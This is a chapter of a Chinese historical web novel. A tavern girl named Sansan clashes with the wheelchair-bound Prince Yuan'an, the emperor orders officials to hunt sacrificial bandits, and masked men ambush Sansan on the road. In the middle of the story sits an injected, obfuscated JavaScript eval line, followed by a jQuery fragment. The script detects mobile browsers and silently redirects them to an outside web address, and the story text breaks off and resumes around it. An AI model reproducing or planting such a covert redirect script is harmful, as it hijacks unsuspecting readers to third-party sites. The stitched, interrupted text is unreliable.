“啪!”
一记耳光响彻整条大街,正在卖东西的商贩、买东西的平民百姓都纷纷停下手中动作,齐齐扭头打量着街上那两人。
只见中央大街上,一个身着锦绣华服的瘸子被一个半大不小的小丫头片子一巴掌甩到了一边,旁边还倒着个四脚朝天的轮椅。
前者一脸不可置信地抬手捂着脸,而后者动作敏捷地连连倒退几步。
“你没长眼睛啊?坐着个轮椅眼睛都要到天上去了,往哪撞不好非往我这撞?”那小丫头拍了拍手,随即叉腰,一脸鄙夷地看着那还在呆滞的男人,“看你穿得人模狗样的,没想到这么脆皮鸡子,我可没用多大力气,别想讹我!”
说罢,正准备扭头就走。
“站住!”那男人身后不知道从哪里冒出来一群人,唰唰一下冲上来就把那小丫头给包围住了。
吃瓜群众顿时炸开了锅。
“这怎么回事啊?”搂着孩子正在熟食摊前买肉的大姐探着脑袋,好奇问了句旁边同样站着看戏的男子。
“哎呦,可别提了,那小丫头不就是隔壁酒楼那个三三嘛,豪横得很,”那男子顿了顿,声音骤然降低,“那男的是元安王,不知道怎么回事坐着个轮椅直冲冲就往人群里冲,刚好往三三那撞……”
大姐啊了一声,换了个姿势抱孩子:“是那个……战场上战无不胜,结果被人下毒伤了腿的那个元安王吗?”
那男子竖起根手指,脸上一副战战兢兢的模样:“嘘!就是他,小点声!”
“你这泼妇!竟敢打我们王爷!”一个年纪略小的侍卫“chua”地一下拔了刀,气急败坏道,“看我不砍了你!”
三三看着被侍卫小心翼翼扶起,重新坐上轮椅的男人,忍不住朝天上看了一眼。
“你脑子眼睛是摆设吗?明明是他先撞我的,我好好走在路上,突然被人当面一撞差点摔了个底朝天,我打他一巴掌算轻的了。”
“你!”那侍卫忍不住上前了一步,眼见就要砍人。
三三一屁股坐了下来,开始哭天抹泪:
“天呐!这什么世道啊!我一良民走在大街上莫名其妙被人撞,现在还要被人砍!天呐!还让不让人活了!”
此话一出,周围的吃瓜群众顿时纷纷议论了起来。
那侍卫拿着刀目瞪口呆:“你这泼妇!谁撞你了!你、你赶紧起来!”
眼见人越来越多,那瘸腿王爷终于开口了。
“好了,是我不对在先,十一,给她一袋银子,”瘸腿王爷面无表情吩咐旁边的侍卫,“姑娘,不好意思了。”
十一动作很是利落,上前一把捞起了三三,往她怀里塞了一袋银子,皮笑肉不笑道:“姑娘,真是对不住了。”
说罢,也不管三三说什么,一群人直接浩浩荡荡地推着那瘸腿王爷走了。
三三手里拿着银子,盯着那群人,掂了掂,还挺重,起码有二十两!
真是太好了!今天财神爷眷顾!
三三笑弯了眼,把银子揣好,哼着歌走回酒楼。
“死丫头一天到晚跑哪里去了?没见店里客人多吗?”老板娘身材微胖,像个陀螺一样这边转完那边转,边转边骂刚踏进门口的三三,“你能不能帮帮忙?养你不如养条狗!”
三三讪笑了声,立即道:“这就来这就来!刚去给长安街的卢大人家送酒了!”
“老板,这边再上两壶酒!”恰好这时有桌客人吆喝着叫人。
三三见状,即刻应了声:“来了来了!”
东京城的夜市热闹得很,天还未黑,街上便早已亮满了灯,站在城里最高处俯瞰下方,只见一片红火,宛如红绸带般,绕着整个东京城,火光里人声鼎沸,热闹非凡。
“王爷,查过了,今天您坐的那把轮椅被人动了手脚,这才失控冲到了街上去。”十一望着坐在轮椅上的人,把调查结果一五一十地报给前面的人听。
钟鼓亭上风声猎猎,全场只闻十一一人的声音。
坐在轮椅上的元安王不为所动,十一报告完了,周遭立马安静了下来。
元安王手在扶椅上有一搭没一搭地敲着,混在风声里,竟有种奇异的节奏感。
半响,元安王才停止敲击,淡淡道:“知道了,夜深了,该回去了。”
风依旧猎猎作响,绕着亭子竟诡异的变了调,仿佛野兽嘶吼。
“啪!”地一声巨响,大殿上满朝文武纷纷跪下。
“东京城里竟然有如此恶行,真当朕是纸糊的老虎不成?!”一身黄袍的明武帝愤然起身,怒目圆瞪,手挨个点了大理寺和刑部,“大理寺少卿许微澜、刑部张思齐,你们负责督办此事,十日之内给朕把这群十恶不赦的大盗捉拿归案!不然你们就自己把自己关牢里去!”
说罢,愤愤甩手离去,留下一群跪倒在地的大臣面面相觑。
许微澜和张思齐同时左右扭头寻找对方的身影,眼里流露着相似的悲哀之情。
“许兄!”
“张兄!”
两人连滚带爬地抱在一起痛哭流涕。
元安王慢悠悠地滑着轮椅到他俩跟前,似笑非笑。
俩人听着轮椅声停在了跟前,立即撒手,许微澜甚至还抬手擦了擦根本不存在的眼泪。
张思齐:“……”
许微澜做作地吸了吸鼻子,垂手行礼道:“王爷。”
张思齐内心感慨对此人还是不够了解,但此时当着元安王的面不好发作,只得老实行礼,也唤了声王爷。
元安王抬了抬手,笑了笑:“不必多礼,二位大人接下如此重任,可千万别辜负陛下的期望。”
许微澜一下扑到了他轮椅跟前,哭哭啼啼:“王爷,你可要救救我啊,这事不简单,光靠我跟张兄不行啊!”
元安王抽了抽被他拽住的衣袍,没抽动,稍微用了点劲,还是没抽动,刚刚还一派看好戏的模样已浑然不见,冷漠无情地唤他的草字:“许嘉言,再不放开我就抽你了。”
“王爷!珩清啊!咱俩可是一起上国子监的情分!你忘了当年我为了给你带烤地瓜……”许微澜戏瘾大发,脸上一片情真意切,语气哀切地唤裴景明的字。
元安王再次使劲抽回了衣袍,还没来得及说什么,旁边的大皇子康钧王摇着扇子凑了过来,笑道:“是啊,珩清你可得帮着点嘉言,不然就他那三脚猫功夫说不定还会被那群大盗给掳了去。”
许微澜不敢再放肆,神色恢复自然:“王爷您说得对,但恐怕仅有元安王帮我跟张大人恐怕还不够,不知道王爷您是否也能助我等一臂之力呢?”
裴瑜宁哈哈大笑:“嘉言说笑了,我怎么比得了二弟,他一人足以,我就不去给你们添麻烦了。”说着不等人回话摇着扇子就走了。
张思齐左盯右看,不是说大皇子康钧王裴瑜宁跟二皇子元安王裴景明向来不对付吗?这是闹哪一出?
许微澜见人走了,立马扭头看裴景明:“他是不是故意挤兑你?”
“……这么明显你看不出?”裴景明坐在轮椅上,神色自若,“不用管他,这两天你们先查案,遇上难事再来找我。”
张思齐喜不自胜,连忙双手行礼:“多谢王爷!”
许微澜一手搭上裴景明的轮椅,一手朝张思齐摆了摆手,缓缓推了出去:“张兄,我们先走一步,今晚我去你家跟你捋一下这案子。”
“好好好!”张思齐连连应道。
“珩清,你腿怎么样了?现在天冷了,怕是疼痛难耐。”许微澜推着裴景明,轮椅驶过带起“de、de”的声音。
裴景明扫着城墙上覆着的雪,懒懒答道:“知道还问。”
他面容不似其他皇子般柔和,许是前几年在战场上呆久了,虽看起来面相依旧俊美,但气质中却带着点肃杀,本该盛着多情的桃花眼如今混杂着些说不清道不明的意味。
“你这人真是没意思,要不是跟你从小玩到大,除了我许嘉言和谢其樾之外,谁还受得了你这张嘴啊。”许微澜没好气道。
宫门外十一早已候在马车旁,见人出来了,立即迎了上去接过推轮椅的活。
“诶,我晚点跟张思齐通了气之后去你府里,你留个门啊。”许微澜见十一把裴景明扶上了马车,趁帘子落下时赶紧补了句。
“知道了。”裴景明淡淡应了声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245105|197864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“知道了,我等下就去!”三三手里端着五六个盘子,脚底生风,送完这桌送那桌,额头沁满了汗水。
老板娘让她给城外的张员外送车酒过去,说是明天要办宴席,已经装好车了,让三三赶紧趁天黑之前送过去。可是现在正值午时,是饭点,店里就只有她和另外一个女孩子在忙,另外一个店小二专门在酒楼外面吆喝客人,她实在是抽不开身去送酒。好不容易没那么忙了,老板娘又让她先把院子里的柴火给劈了,不然晚上烧饭不够用,三三想说劈完柴就傍晚了,到时候出城危险得很,尤其是最近那大盗抓人祭祀的事闹得整个东京城沸沸扬扬,连先生都不敢让她再去上课,但是话到嘴边又咽了下去,说与不说,柴还是要劈的,说了反而还会招来一顿骂。
三三心里叹了口气,努力提了提嘴角,安慰自己道,没事,抓紧时间劈完就去,没事的。
三三把要劈的木头摆好成一排,然后轮着斧头点卯似的挨个劈了过去。
“三三,你等下劈完先去送酒吧,我帮你把柴火搬去厨房,你再不去天就要黑了。”酒楼里另一个帮工刘雁掀开前厅通往院子的帘子,小声朝三三道。
“好,那先谢谢你了,改天给你带糖!”三三抬手用胳膊擦了擦要流向眼睛里的汗水。
刘雁笑了笑:“没事,你之前不也帮过我嘛。”
三三点点头,笑道:“也是,就咱俩了,互帮互助才能干得长久。”
三三嘴上是那么说,但其实刘雁跟她不一样。她是老板娘正儿八经招来的工人,每月发钱那种,三三不是,三三是老板娘买回来的,老板娘给她饭吃,给她地方住,把她养大,三三给老板娘打工是还债来的。三三问过老板娘要还多久,老板娘说养大三三一共花了一百两,按照给刘雁的工钱一月二两来算的话,要还五十年。
三三当时才十五岁,别说一百两,一两银子也只有收客人钱的时候才见过,更别说一百两了,当时只觉得这辈子都要卖身给酒楼了。
三三劈着柴,有一搭没一搭地回想着。
院子里除了前厅时不时传来客人的吆喝声伴随着三三的劈柴声,重重交叠中落日的余晖渐渐铺满了院子。
“雁子,我劈完了,你记得帮我搬回去啊,我先去送酒了!”三三手抖得厉害,但依旧给刘雁留了话。
她往水池边站了站,定了定神,手不那么抖了又洗了把脸,再拿上水壶去厨房装水,边喝边往院外那辆马车赶过去。
太阳挂在山峰上头,稍微还有点距离。
三三边拎起绳索驾马而行,边在心里算了算时间,快马加鞭的话应该还能趁天完全黑下来之前回到城内。思及此,手上挥鞭子的动作更快了。
车轮滚滚很快就到了城外的小树林,穿过这片树林就能到张员外家,但此时周遭安静的很,三三记得往常这个时候会有很多进城卖菜的人往回赶,但今日根本没见几个人。
“难道都因为那大盗没人回家了?还是没人进城卖菜了?”三三嘀咕道。
此情此景煞是瘆人,她不敢多停留,手上鞭子不停,周遭只能听见马车不停行驶的声音。
但很快,三三便闻到了一股奇异的香味,登时头晕目眩。
“完了,是迷香不成?”三三赶紧用力咬了舌头,猛然清醒了一瞬,但一抬头,只见周遭数十个蒙着脸的黑衣人手里拎着刀只扑她而来。
三三赶紧从屁股底下把藏起来的斧头拿了出来。
来人以为三三只是个手无缚鸡之力的小姑娘,拿出斧子也不过是虚张声势,嘲笑道:“小姑娘,别挣扎了,免受皮肉之苦。”
三三头晕目眩看人都重叠,又咬了一把舌头,疼得她眼泪都要出来了。
“废话少说,让开,不然就让你们见见姑奶奶斧头的厉害!”
“真是不见棺材不落泪,这么横,第三批祭祀的头就是她了!”那黑衣人狞笑道。
那黑衣人话一落下,猛然挥刀劈向三三面门,三三侧身闪过,斧头横劈直接砍向那人脑袋,对方见状立即弯腰躲了过去。
“看不出来,竟然会点功夫。”那黑衣人抬手示意,周围那十几个黑衣人一拥而上。